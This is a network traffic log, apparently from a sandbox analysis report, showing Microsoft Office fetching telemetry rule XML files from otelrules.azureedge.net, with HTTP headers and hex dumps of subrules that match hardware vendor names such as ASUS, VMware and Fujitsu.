2024-10-28 05:27:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 962f3e82-b01e-0070-52cb-261cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052759Z-r197bdfb6b48pcqqxhenwd2uz800000005b0000000005knq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 226d2935-b01e-001e-729c-270214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052759Z-r197bdfb6b48pcqqxhenwd2uz8000000056g00000000dxfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0fe0dd21-c01e-0066-771c-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052759Z-16849878b785dznd7xpawq9gcn00000005yg00000000anam x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: b80877bf-b01e-0084-28e3-26d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052759Z-r197bdfb6b4jlq9hb8xf0re6t400000004qg000000001pqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:59 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6b0d144c-801e-007b-3a49-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052759Z-16849878b78qf2gleqhwczd21s00000004q000000000hex4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a32196a2-e01e-0051-3ed7-2684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052800Z-17c5cb586f6f8m6jnehy0z65x400000003tg000000007b4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bd3bd0-f01e-003c-42e3-258cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052800Z-15b8d89586f5s5nz3ffrgxn5ac00000005ag000000000hwc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:00 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:00 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: c47ae6f3-801e-007b-6937-26e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052800Z-17c5cb586f6gkqkwd0x1ge8t0400000004z00000000012t4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:00 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:00 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052800Z-16849878b782d4lwcu6h6gmxnw00000004ag00000000342c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:00 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:00 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052800Z-17c5cb586f6mhqqb91r8trf2c8000000059g00000000dkzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78bcpfn2qf7sm6hsn000000068g0000000037xk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:01 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052801Z-16849878b78hh85qc40uyr8sc800000004rg00000000q678 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" 